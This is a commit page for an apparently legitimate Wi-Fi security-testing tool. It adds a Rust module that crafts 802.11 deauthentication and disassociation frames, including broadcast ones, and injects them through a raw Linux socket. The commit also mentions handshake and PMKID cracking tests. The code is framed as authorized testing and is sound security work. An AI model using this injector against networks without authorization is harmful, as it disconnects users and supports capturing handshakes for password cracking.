v0.1.0: logo, i18n pt/en, CI com caches, testes e documentação

- Logo oficial (sabia.png) e conjunto de ícones do app desktop.
- Interface em português e inglês: tradutor por observação do DOM, seletor
  de idioma e checagem de cobertura de tradução no CI.
- CI/CD com caches (rust-cache, .deb do Tauri em cache) e pipeline de release
  multiplataforma (CLI em 5 alvos + app desktop via tauri-action), templates
  de issue/PR.
- Suíte de testes de integração do sabia-core (scan e2e, handshake/crack
  4-way e PMKID, pcap, trilha de auditoria) — 46 testes verdes.
- Documentação completa pt/en: README, ROADMAP, SECURITY, CONTRIBUTING,
  CHANGELOG e docs/ (cli, interface, arquitetura), com enquadramento de uso
  autorizado.
- Correções de clippy (-D warnings) e formatação em toda a árvore.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
Lucas RayanandClaude Opus 5.5 committed 2026-10-23 12:46:19 -03:00
1 parent df27974359
commit 791538c9d9
112 files changed
+15620 -494

No files matched your search

+164
View File
@@ -0,0 +1,164 @@
//! Construção e envio de quadros de gerenciamento (desautenticação e
//! desassociação) para testes autorizados de robustez de redes Wi-Fi.
//!
//! A construção do quadro é independente de plataforma e testável; o envio
//! usa `AF_PACKET` e só existe no Linux. O chamador (engine) impõe limites de
//! quantidade e intervalo e registra a ação na trilha de auditoria.
use crate::error::Result;
#[cfg(target_os = "linux")]
use crate::error::SabiaError;
pub const BROADCAST: [u8; 6] = [0xff; 6];
/// Cabeçalho radiotap mínimo (8 bytes, sem campos). É aceito por mac80211 e
/// deixa o driver escolher a taxa; suficiente para quadros de gerenciamento.
fn radiotap_min() -> [u8; 8] {
[0, 0, 8, 0, 0, 0, 0, 0]
}
fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
let fc: u16 = (subtype as u16) << 4;
let mut f = Vec::with_capacity(8 + 24 + 2);
f.extend_from_slice(&radiotap_min());
f.extend_from_slice(&fc.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&destination); // addr1: destino
f.extend_from_slice(&bssid); // addr2: BSSID/transmissor
f.extend_from_slice(&bssid); // addr3: BSSID
f.extend_from_slice(&[0u8; 2]); // número de sequência
f.extend_from_slice(&reason.to_le_bytes());
f
}
/// Quadro de desautenticação (subtipo 12). `destination` pode ser uma
/// estação específica ou [`BROADCAST`].
pub fn deauth_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
mgmt_frame(12, bssid, destination, reason)
}
/// Quadro de desassociação (subtipo 10).
pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
mgmt_frame(10, bssid, destination, reason)
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Reason {
Unspecified = 1,
PreviousAuthInvalid = 2,
DeauthLeaving = 3,
Inactivity = 4,
Class2FrameFromNonAuth = 7,
}
impl Reason {
pub fn from_u16(value: u16) -> u16 {
if value == 0 {
1
} else {
value
}
}
}
#[cfg(target_os = "linux")]
pub struct RawInjector {
fd: std::os::fd::RawFd,
}
#[cfg(target_os = "linux")]
impl RawInjector {
pub fn open(iface: &str) -> Result<Self> {
use std::ffi::CString;
use std::io;
use std::mem;
let fd = unsafe { libc::socket(libc::AF_PACKET, libc::SOCK_RAW, 0x0003) };
if fd < 0 {
let err = io::Error::last_os_error();
return Err(if err.raw_os_error() == Some(libc::EPERM) {
SabiaError::PermissionDenied
} else {
SabiaError::Io(err)
});
}
let cname =
CString::new(iface).map_err(|_| SabiaError::InterfaceNotFound(iface.to_string()))?;
let ifindex = unsafe { libc::if_nametoindex(cname.as_ptr()) };
if ifindex == 0 {
unsafe { libc::close(fd) };
return Err(SabiaError::InterfaceNotFound(iface.to_string()));
}
let mut sll: libc::sockaddr_ll = unsafe { mem::zeroed() };
sll.sll_family = libc::AF_PACKET as u16;
sll.sll_protocol = 0x0003u16.to_be();
sll.sll_ifindex = ifindex as i32;
let ret = unsafe {
libc::bind(
fd,
&sll as *const libc::sockaddr_ll as *const libc::sockaddr,
mem::size_of::<libc::sockaddr_ll>() as u32,
)
};
if ret < 0 {
let err = io::Error::last_os_error();
unsafe { libc::close(fd) };
return Err(SabiaError::Io(err));
}
Ok(Self { fd })
}
pub fn send(&self, frame: &[u8]) -> Result<usize> {
let n = unsafe {
libc::send(
self.fd,
frame.as_ptr() as *const libc::c_void,
frame.len(),
0,
)
};
if n < 0 {
return Err(SabiaError::Io(std::io::Error::last_os_error()));
}
Ok(n as usize)
}
}
#[cfg(target_os = "linux")]
impl Drop for RawInjector {
fn drop(&mut self) {
unsafe { libc::close(self.fd) };
}
}
#[cfg(test)]
mod tests {
use super::*;
fn bssid() -> [u8; 6] {
[0x00, 0x11, 0x22, 0x33, 0x44, 0x55]
}
fn station() -> [u8; 6] {
[0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb]
}
#[test]
fn builds_deauth_frame() {
let f = deauth_frame(bssid(), station(), 7);
assert_eq!(&f[0..4], &[0, 0, 8, 0]);
assert_eq!(u16::from_le_bytes([f[8], f[9]]), 0x00c0);
assert_eq!(&f[12..18], &station());
assert_eq!(&f[18..24], &bssid());
assert_eq!(&f[24..30], &bssid());
assert_eq!(u16::from_le_bytes([f[32], f[33]]), 7);
}
#[test]
fn builds_disassoc_broadcast_frame() {
let f = disassoc_frame(bssid(), BROADCAST, 1);
assert_eq!(u16::from_le_bytes([f[8], f[9]]), 0x00a0);
assert_eq!(&f[12..18], &BROADCAST);
assert_eq!(f.len(), 8 + 24 + 2);
}
}